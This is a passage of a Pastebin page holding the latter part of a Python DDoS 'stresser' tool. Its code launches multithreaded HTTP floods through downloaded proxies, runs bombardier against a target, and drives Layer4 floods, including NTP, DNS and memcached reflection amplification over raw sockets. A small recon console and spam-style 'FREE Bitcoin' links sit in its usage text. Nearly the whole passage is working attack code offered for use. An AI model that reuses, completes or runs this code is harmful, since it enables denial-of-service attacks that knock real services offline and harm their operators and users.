  844. if name == "SLOW":
  845. self.SENT_FLOOD = self.SLOW
  846. if name == "GSB":
  847. self.SENT_FLOOD = self.GSB
  848. if name == "NULL":
  849. self.SENT_FLOOD = self.NULL
  850. if name == "COOKIE":
  851. self.SENT_FLOOD = self.COOKIES
  852. if name == "PPS":
  853. self.SENT_FLOOD = self.PPS
  854. self._defaultpayload = (
  855. self._defaultpayload +
  856. "Host: %s\r\n\r\n" % self._target.authority).encode()
  857. if name == "EVEN": self.SENT_FLOOD = self.EVEN
  858. if name == "BOMB": self.SENT_FLOOD = self.BOMB
  859.  
  860. def BOMB(self):
  861. pro = randchoice(self._proxies)
  862. run([
  863. f'{Path.home() / "go/bin/bombardier"}',
  864. f'--connections={self._rpc}',
  865. '--http2',
  866. '--method=GET',
  867. '--no-print',
  868. '--timeout=5s',
  869. f'--requests={self._rpc}',
  870. f'--proxy={pro}',
  871. f'{self._target.human_repr()}',
  872. ])
  873.  
  874.  
  875. class ProxyManager:
  876.  
  877. @staticmethod
  878. def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
  879. providrs = [
  880. provider for provider in cf["proxy-providers"]
  881. if provider["type"] == Proxy_type or Proxy_type == 0
  882. ]
  883. logger.info("Downloading Proxies form %d Providers" % len(providrs))
  884. proxes: Set[Proxy] = set()
  885.  
  886. with ThreadPoolExecutor(len(providrs)) as executor:
  887. future_to_download = {
  888. executor.submit(
  889. ProxyManager.download, provider,
  890. ProxyType.stringToProxyType(str(provider["type"])))
  891. for provider in providrs
  892. }
  893. for future in as_completed(future_to_download):
  894. for pro in future.result():
  895. proxes.add(pro)
  896. return proxes
  897.  
  898. @staticmethod
  899. def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
  900. logger.debug(
  901. "Downloading Proxies form (URL: %s, Type: %s, Timeout: %d)" %
  902. (provider["url"], proxy_type.name, provider["timeout"]))
  903. proxes: Set[Proxy] = set()
  904. with suppress(TimeoutError, exceptions.ConnectionError,
  905. exceptions.ReadTimeout):
  906. data = get(provider["url"], timeout=provider["timeout"]).text
  907. try:
  908. for proxy in ProxyUtiles.parseAllIPPort(
  909. data.splitlines(), proxy_type):
  910. proxes.add(proxy)
  911. except Exception as e:
  912. logger.error('Download Proxy Error: %s' %
  913. (e.__str__() or e.__repr__()))
  914. return proxes
  915.  
  916.  
  917. class ToolsConsole:
  918. METHODS = {"INFO", "TSSRV", "CFIP", "DNS", "PING", "CHECK", "DSTAT"}
  919.  
  920. @staticmethod
  921. def checkRawSocket():
  922. with suppress(OSError):
  923. with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):
  924. return True
  925. return False
  926.  
  927. @staticmethod
  928. def runConsole():
  929. cons = "%s@BetterStresser:~#" % gethostname()
  930.  
  931. while 1:
  932. cmd = input(cons + " ").strip()
  933. if not cmd: continue
  934. if " " in cmd:
  935. cmd, args = cmd.split(" ", 1)
  936.  
  937. cmd = cmd.upper()
  938. if cmd == "HELP":
  939. print("Tools:" + ", ".join(ToolsConsole.METHODS))
  940. print("Commands: HELP, CLEAR, BACK, EXIT")
  941. continue
  942.  
  943. if (cmd == "E") or \
  944. (cmd == "EXIT") or \
  945. (cmd == "Q") or \
  946. (cmd == "QUIT") or \
  947. (cmd == "LOGOUT") or \
  948. (cmd == "CLOSE"):
  949. exit(-1)
  950.  
  951. if cmd == "CLEAR":
  952. print("\033c")
  953. continue
  954.  
  955. if not {cmd} & ToolsConsole.METHODS:
  956. print("%s command not found" % cmd)
  957. continue
  958.  
  959. if cmd == "DSTAT":
  960. with suppress(KeyboardInterrupt):
  961. ld = net_io_counters(pernic=False)
  962.  
  963. while True:
  964. sleep(1)
  965.  
  966. od = ld
  967. ld = net_io_counters(pernic=False)
  968.  
  969. t = [(last - now) for now, last in zip(od, ld)]
  970.  
  971. logger.info(
  972. ("Bytes Sended %s\n"
  973. "Bytes Recived %s\n"
  974. "Packets Sended %s\n"
  975. "Packets Recived %s\n"
  976. "ErrIn %s\n"
  977. "ErrOut %s\n"
  978. "DropIn %s\n"
  979. "DropOut %s\n"
  980. "Cpu Usage %s\n"
  981. "Memory %s\n") %
  982. (Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
  983. Tools.humanformat(t[2]), Tools.humanformat(t[3]),
  984. t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
  985. str(virtual_memory().percent) + "%"))
  986. if cmd in ["CFIP", "DNS"]:
  987. print("Soon")
  988. continue
  989.  
  990. if cmd == "CHECK":
  991. while True:
  992. with suppress(Exception):
  993. domain = input(f'{cons}give-me-ipaddress# ')
  994. if not domain: continue
  995. if domain.upper() == "BACK": break
  996. if domain.upper() == "CLEAR":
  997. print("\033c")
  998. continue
  999. if (domain.upper() == "E") or \
  1000. (domain.upper() == "EXIT") or \
  1001. (domain.upper() == "Q") or \
  1002. (domain.upper() == "QUIT") or \
  1003. (domain.upper() == "LOGOUT") or \
  1004. (domain.upper() == "CLOSE"):
  1005. exit(-1)
  1006. if "/" not in domain: continue
  1007. print('please wait ...', end="\r")
  1008.  
  1009. with get(domain, timeout=20) as r:
  1010. print(('status_code: %d\n'
  1011. 'status: %s') %
  1012. (r.status_code, "ONLINE"
  1013. if r.status_code <= 500 else "OFFLINE"))
  1014. return
  1015. print("Error!")
  1016.  
  1017. if cmd == "INFO":
  1018. while True:
  1019. domain = input(f'{cons}give-me-ipaddress# ')
  1020. if not domain: continue
  1021. if domain.upper() == "BACK": break
  1022. if domain.upper() == "CLEAR":
  1023. print("\033c")
  1024. continue
  1025. if (domain.upper() == "E") or \
  1026. (domain.upper() == "EXIT") or \
  1027. (domain.upper() == "Q") or \
  1028. (domain.upper() == "QUIT") or \
  1029. (domain.upper() == "LOGOUT") or \
  1030. (domain.upper() == "CLOSE"):
  1031. exit(-1)
  1032. domain = domain.replace('https://',
  1033. '').replace('http://', '')
  1034. if "/" in domain: domain = domain.split("/")[0]
  1035. print('please wait ...', end="\r")
  1036.  
  1037. info = ToolsConsole.info(domain)
  1038.  
  1039. if not info["success"]:
  1040. print("Error!")
  1041. continue
  1042.  
  1043. logger.info(("Country: %s\n"
  1044. "City: %s\n"
  1045. "Org: %s\n"
  1046. "Isp: %s\n"
  1047. "Region: %s\n") %
  1048. (info["country"], info["city"], info["org"],
  1049. info["isp"], info["region"]))
  1050.  
  1051. if cmd == "TSSRV":
  1052. while True:
  1053. domain = input(f'{cons}give-me-domain# ')
  1054. if not domain: continue
  1055. if domain.upper() == "BACK": break
  1056. if domain.upper() == "CLEAR":
  1057. print("\033c")
  1058. continue
  1059. if (domain.upper() == "E") or \
  1060. (domain.upper() == "EXIT") or \
  1061. (domain.upper() == "Q") or \
  1062. (domain.upper() == "QUIT") or \
  1063. (domain.upper() == "LOGOUT") or \
  1064. (domain.upper() == "CLOSE"):
  1065. exit(-1)
  1066. domain = domain.replace('https://',
  1067. '').replace('http://', '')
  1068. if "/" in domain: domain = domain.split("/")[0]
  1069. print('please wait ...', end="\r")
  1070.  
  1071. info = ToolsConsole.ts_srv(domain)
  1072. logger.info("TCP: %s\n" % (info['_tsdns._tcp.']))
  1073. logger.info("UDP: %s\n" % (info['_ts3._udp.']))
  1074.  
  1075. if cmd == "PING":
  1076. while True:
  1077. domain = input(f'{cons}give-me-ipaddress# ')
  1078. if not domain: continue
  1079. if domain.upper() == "BACK": break
  1080. if domain.upper() == "CLEAR":
  1081. print("\033c")
  1082. if (domain.upper() == "E") or \
  1083. (domain.upper() == "EXIT") or \
  1084. (domain.upper() == "Q") or \
  1085. (domain.upper() == "QUIT") or \
  1086. (domain.upper() == "LOGOUT") or \
  1087. (domain.upper() == "CLOSE"):
  1088. exit(-1)
  1089.  
  1090. domain = domain.replace('https://',
  1091. '').replace('http://', '')
  1092. if "/" in domain: domain = domain.split("/")[0]
  1093.  
  1094. print('please wait ...', end="\r")
  1095. r = ping(domain, count=5, interval=0.2)
  1096. logger.info(('Address: %s\n'
  1097. 'Ping: %d\n'
  1098. 'Aceepted Packets: %d/%d\n'
  1099. 'status: %s\n') %
  1100. (r.address, r.avg_rtt, r.packets_received,
  1101. r.packets_sent,
  1102. "ONLINE" if r.is_alive else "OFFLINE"))
  1103.  
  1104. @staticmethod
  1105. def stop():
  1106. print('All Attacks has been Stopped !')
  1107. for proc in process_iter():
  1108. if proc.name() == "python.exe":
  1109. proc.kill()
  1110.  
  1111. @staticmethod
  1112. def usage():
  1113. print((
  1114. '* Coded By MH_ProDev For Better Stresser\n'
  1115. '* FREE Bitcoin - http://fumacrom.com/3SMYx'
  1116. '* Work at Home - http://fumacrom.com/3SMYT'
  1117. '* Get Paid to share links - https://bit.ly/3zI3oWG'
  1118. 'Defense: https://www.sciencedirect.com/science/article/abs/pii/S0921883120303101'
  1119. 'https://www.cfr.org/global-conflict-tracker/?category=us'
  1120. 'Note: If the Proxy list is empty, the attack will run without proxies\n'
  1121. ' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
  1122. ' Proxy Type 0 = All in config.json\n'
  1123. ' Layer7: python3 %s <method> <url> <socks_type5.4.1> <threads> <proxylist> <rpc> <duration> <debug=optional>\n'
  1124. ' Layer4: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with '
  1125. 'Amplification)>\n'
  1126. '\n'
  1127. ' > Methods:\n'
  1128. ' - Layer4\n'
  1129. ' | %s | %d Methods\n'
  1130. ' - Layer7\n'
  1131. ' | %s | %d Methods\n'
  1132. ' - Tools\n'
  1133. ' | %s | %d Methods\n'
  1134. ' - Others\n'
  1135. ' | %s | %d Methods\n'
  1136. ' - All %d Methods\n'
  1137. '\n'
  1138. 'Example:\n'
  1139. ' Layer7: python3 %s %s %s %s %s proxy.txt %s %s\n'
  1140. ' Layer4: python3 %s %s %s %s %s proxy.txt') %
  1141. (argv[0], argv[0], ", ".join(Methods.LAYER4_METHODS),
  1142. len(Methods.LAYER4_METHODS), ", ".join(Methods.LAYER7_METHODS),
  1143. len(Methods.LAYER7_METHODS), ", ".join(ToolsConsole.METHODS),
  1144. len(ToolsConsole.METHODS), ", ".join(["TOOLS", "HELP", "STOP"]),
  1145. 3, len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
  1146. argv[0], randchoice([*Methods.LAYER7_METHODS]),
  1147. "https://example.com", randchoice([4, 5, 1, 0]),
  1148. randint(850, 1000), randint(50, 100), randint(
  1149. 1000, 3600), argv[0], randchoice([*Methods.LAYER4_METHODS]),
  1150. "8.8.8.8:80", randint(850, 1000), randint(1000, 3600)))
  1151.  
  1152. @staticmethod
  1153. def ts_srv(domain):
  1154. records = ['_ts3._udp.', '_tsdns._tcp.']
  1155. DnsResolver = dns.resolver.Resolver()
  1156. DnsResolver.timeout = 1
  1157. DnsResolver.lifetime = 1
  1158. Info = {}
  1159. for rec in records:
  1160. try:
  1161. srv_records = dns.resolver.resolve(rec + domain, 'SRV')
  1162. for srv in srv_records:
  1163. Info[rec] = str(srv.target).rstrip('.') + ':' + str(
  1164. srv.port)
  1165. except:
  1166. Info[rec] = 'Not found'
  1167.  
  1168. return (Info)
  1169.  
  1170. # noinspection PyUnreachableCode
  1171. @staticmethod
  1172. def info(domain):
  1173. with suppress(Exception), get("https://ipwhois.app/json/%s/" %
  1174. domain) as s:
  1175. return s.json()
  1176. return {"success": False}
  1177.  
  1178.  
  1179. def get_proxies(proxy_li):
  1180. if not proxy_li.exists():
  1181. logger.warning("The file doesn't exist, creating files and downloading proxies.")
  1182. proxy_li.parent.mkdir(parents=True, exist_ok=True)
  1183. with proxy_li.open("w") as wr:
  1184. Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)
  1185. logger.info(
  1186. f"{len(Proxies):,} Proxies are getting checked, this may take awhile!"
  1187. )
  1188. Proxies = ProxyChecker.checkAll(
  1189. Proxies, timeout=1, threads=threads,
  1190. **({'url': url.human_repr()} if url else {})
  1191. )
  1192. if not Proxies:
  1193. exit(
  1194. "Proxy Check failed, Your network may be the problem"
  1195. " | The target may not be available."
  1196. )
  1197. stringBuilder = ""
  1198. for proxy in Proxies:
  1199. stringBuilder += (proxy.__str__() + "\n")
  1200. wr.write(stringBuilder)
  1201.  
  1202. proxies = ProxyUtiles.readFromFile(proxy_li)
  1203. if proxies:
  1204. logger.info(f"Proxy Count: {len(proxies):,}")
  1205. else:
  1206. logger.info(
  1207. "Empty Proxy File, running flood witout proxy")
  1208. proxies = None
  1209.  
  1210. return proxies
  1211.  
  1212.  
  1213. if __name__ == '__main__':
  1214. with open(__dir__ / "config.json") as f:
  1215. con = load(f)
  1216. with suppress(KeyboardInterrupt):
  1217. with suppress(IndexError):
  1218. one = argv[1].upper()
  1219.  
  1220. if one == "HELP":
  1221. raise IndexError()
  1222. if one == "TOOLS":
  1223. ToolsConsole.runConsole()
  1224. if one == "STOP":
  1225. ToolsConsole.stop()
  1226.  
  1227. method = one
  1228. host = None
  1229. url = None
  1230. event = Event()
  1231. event.clear()
  1232. target = None
  1233.  
  1234. if method not in Methods.ALL_METHODS:
  1235. exit("Method Not Found %s" %
  1236. ", ".join(Methods.ALL_METHODS))
  1237.  
  1238. if method in Methods.LAYER7_METHODS:
  1239. urlraw = argv[2].strip()
  1240. if not urlraw.startswith("http"):
  1241. urlraw = "http://" + urlraw
  1242. url = URL(urlraw)
  1243. host = url.host
  1244. try:
  1245. host = gethostbyname(url.host)
  1246. except Exception as e:
  1247. exit('Cannot resolve hostname ', url.host, e)
  1248. threads = int(argv[4])
  1249. rpc = int(argv[6])
  1250. timer = int(argv[7])
  1251. proxy_ty = int(argv[3].strip())
  1252. proxy_li = Path(__dir__ / "files/proxies/" /
  1253. argv[5].strip())
  1254. useragent_li = Path(__dir__ / "files/useragent.txt")
  1255. referers_li = Path(__dir__ / "files/referers.txt")
  1256. proxies: Any = set()
  1257.  
  1258. if len(argv) == 9:
  1259. logger.setLevel("DEBUG")
  1260.  
  1261. if not useragent_li.exists():
  1262. exit("The Useragent file doesn't exist ")
  1263. if not referers_li.exists():
  1264. exit("The Referer file doesn't exist ")
  1265.  
  1266. uagents = set(a.strip()
  1267. for a in useragent_li.open("r+").readlines())
  1268. referers = set(a.strip()
  1269. for a in referers_li.open("r+").readlines())
  1270.  
  1271. if not uagents: exit("Empty Useragent File ")
  1272. if not referers: exit("Empty Referer File ")
  1273.  
  1274. if proxy_ty not in {4, 5, 1, 0}:
  1275. exit("Socks Type Not Found [4, 5, 1, 0]")
  1276. if threads > 1000:
  1277. logger.warning("Thread is higher than 1000")
  1278. if rpc > 100:
  1279. logger.warning(
  1280. "RPC (Request Pre Connection) is higher than 100")
  1281.  
  1282. proxies = get_proxies(proxy_li)
  1283. for _ in range(threads):
  1284. HttpFlood(url, host, method, rpc, event, uagents,
  1285. referers, proxies).start()
  1286.  
  1287. if method in Methods.LAYER4_METHODS:
  1288. target = argv[2].strip()
  1289. if ":" in target and not target.split(":")[1].isnumeric():
  1290. exit("Invalid Port Number")
  1291. port = 53 if ":" not in target else int(
  1292. target.split(":")[1])
  1293. threads = int(argv[3])
  1294. timer = int(argv[4])
  1295. ref = None
  1296.  
  1297. if ":" not in target:
  1298. logger.warning("Port Not Selected, Set To Default: 80")
  1299. else:
  1300. target = target.split(":")[0]
  1301. proxy_ty = int(argv[6].strip())
  1302. proxy_li = Path(__dir__ / "files/proxies/" /
  1303. argv[5].strip())
  1304.  
  1305. if port > 65535 or port < 1:
  1306. exit("Invalid Port [Min: 1 / Max: 65535] ")
  1307. if not ProxyTools.Patterns.IP.match(target):
  1308. exit("Invalid Ip Selected")
  1309. if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD", "SYN"} and \
  1310. not ToolsConsole.checkRawSocket():
  1311. exit("Cannot Create Raw Socket ")
  1312.  
  1313. if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD"}:
  1314. if len(argv) >= 6:
  1315. if len(argv) == 7:
  1316. logger.setLevel("DEBUG")
  1317. refl_li = Path(__dir__ / "files" / argv[5].strip())
  1318. if not refl_li.exists():
  1319. exit("The Reflector file doesn't exist ")
  1320. ref = set(a.strip()
  1321. for a in ProxyTools.Patterns.IP.findall(
  1322. refl_li.open("r+").read()))
  1323. if not ref: exit("Empty Reflector File ")
  1324. else:
  1325. if len(argv) == 6:
  1326. logger.setLevel("DEBUG")
  1327.  
  1328. proxies = get_proxies(proxy_li)
  1329. for _ in range(threads):
  1330. Layer4((target, port), ref, method, event,
  1331. proxies).start()
  1332.  
  1333. logger.info(
  1334. "Attack Started to %s with %s method for %s seconds, threads: %d!"
  1335. % (target or url.human_repr(), method, timer, threads))
  1336. event.set()
  1337. ts = time()
  1338. while time() < ts + timer:
  1339. logger.debug('PPS: %s, BPS: %s / %d%%' %
  1340. (Tools.humanformat(int(REQUESTS_SENT)),
  1341. Tools.humanbytes(int(bytes_sent)),
  1342. round((time() - ts) / timer * 100, 2)))
  1343. REQUESTS_SENT.set(0)
  1344. bytes_sent.set(0)
  1345. sleep(1)
  1346.  
  1347. event.clear()
  1348. exit()
  1349.  
  1350. ToolsConsole.usage()
  1351.  
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!